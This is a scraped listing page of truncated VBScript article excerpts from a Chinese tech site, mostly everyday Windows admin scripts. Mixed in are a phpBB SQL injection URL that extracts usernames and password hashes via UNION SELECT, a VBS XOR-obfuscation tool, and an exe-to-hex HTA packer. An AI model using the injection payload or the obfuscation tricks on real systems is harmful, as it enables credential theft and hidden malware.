onerrorresumenextconstHKEY_LOCAL_MACHINE=&H80000002strComputer="."SetStdOut=WScript.StdOutSetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&_strComputer&"\root\default:StdRegProv")strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer"oReg.CreateKeyHKEY_LOCAL_MACHINE,...
http://www.jb51.net//article/17030.htm
但IE以及与IE共用右键菜单的MyIE、Sogou等浏览器均没有复制图像链接地址的快捷菜单，通常只有选择图片的属性再在属性对话框中复制图片地址，很麻烦！下面我们给IE添加一个“复制图像地址”的右键菜单，步骤如下：VB新建一个ActiveXDll工程，工程名：NetCopyURL，将默认生成的类名改为clsCopyURL在clsCopyURL.cls中添加如下代码：PublicSubCopyImageURL(URLAsString)Clipboard.ClearClipboard.SetTextURLEndSub执行File->MakeNetCopyURL.dll生成动态链接库文件NetC...
http://www.jb51.net//article/16912.htm
[code]IfNotWScript.Arguments.Count=1ThenWScript.Echo"请将要转换的vbs文件托拽到我身上！":WScript.QuitSetfso=CreateObject("Scripting.FileSystemObject")Setself=fso.OpenTextFile(WScript.ScriptFullName)Setvbs=fso.CreateTextFile(Left(WScript.Arguments(0),Len(WScript.Arguments(0))-4)+"_XorEncode.vbs")DoUntilself.AtEndOfS...
http://www.jb51.net//article/16792.htm
[code]setpath=wscript.createobject("wscript.shell")usera=path.ExpandEnvironmentStrings("%username%")name=inputbox("请输入你要查询的用户名","sid查询--by不追不悔",usera)strComputer="."SetwbemServices=Getobject("winmgmts:\\"&strComputer)SetwbemObjectSet=wbemServices.execquery("selectsidfromwin32_userAccountwherenam...
http://www.jb51.net//article/16681.htm
[code]strSubNet="192.168.1."SetobjFSO=CreateObject("Scripting.FileSystemObject")SetobjTS=objfso.CreateTextFile("e:\PingResult.txt")Fori=1To254strComputer=strSubNet&iblnResult=Ping(strComputer)IfblnResult=TrueThenobjTS.WriteLine"Ping"&strComputer&"success!"EndIfNextobjTS.CloseWScript.Echo...
http://www.jb51.net//article/16671.htm
[code]ConstHKEY_CURRENT_USER=&H80000001strComputer="."SetobjRegistry=GetObject("winmgmts:\\"&strComputer&"\root\default:StdRegProv")strKeyPath="Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"objRegistry.EnumValuesHKEY_CURRENT_USER,strKeyPath,arrValueNames,arrValueTypesForEachs...
http://www.jb51.net//article/16286.htm
注入代码如下:links.php?t=search&search_keywords=asd&start=1,1UNIONSELECT1,username,user_password,4,5,6,7,8,9,10,11,12,13FROMphpbb_userswhereuser_idlimit0,1000/*这样就提取了1000个用户名和md5，将上边的保存成htm，要挨个提取出md5和用户名很麻烦，写了段代码。这段代码我很满意，估计是最简单的提取方法了，呵呵。代码如下：'用法示例：cscript//Nologothis.vbsc:\11000.htm>c:\1.txt[c...
http://www.jb51.net//article/16262.htm
dimn,ans,in=inputbox("n(0<=n<=170)=")ans=1fori=1tonans=ans*inextmsgbox(ans)...
http://www.jb51.net//article/15509.htm
Dimls_FileSetobjArgs=WScript.Arguments '命令行参数ifobjArgs.Count<1then returnendifls_File=objArgs(0) '第一个参数通常就是文件名ls_new=left(ls_File,len(ls_File)-4)+".pdf"SetpptApp=CreateObject("PowerPoint.Application")'申明调用函数pptApp.Visible=True'在...
http://www.jb51.net//article/15508.htm
由于NP写的不知什么原因，在我机器上执行后生成的exe，进程不会自动退出，我重新更新一下。用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。＝＝＝＝＝＝＝<!DOCTYPEHTMLPUBLIC"-//W3C//DTDHTML4.01Transitional//EN"><html><head><title>packagefilev0.1</title><metahttp-equiv="Content-Type"content="text/html;charset=GB2312"><HTA:A...
http://www.jb51.net//article/15506.htm
自以为vbs玩得够好了，FSO和WMI也玩得很顺，直到看到LCX前辈的文章，才悟出了vbs的奥义。原来vbs的至尊境界就是：一切windows对象皆可调用，任何CLSID都可以来CreateObject的。基本上可以直接用vbs来调用系统绑定的任意一个程序！恐怖的难以想象努力学习吧...
http://www.jb51.net//article/15165.htm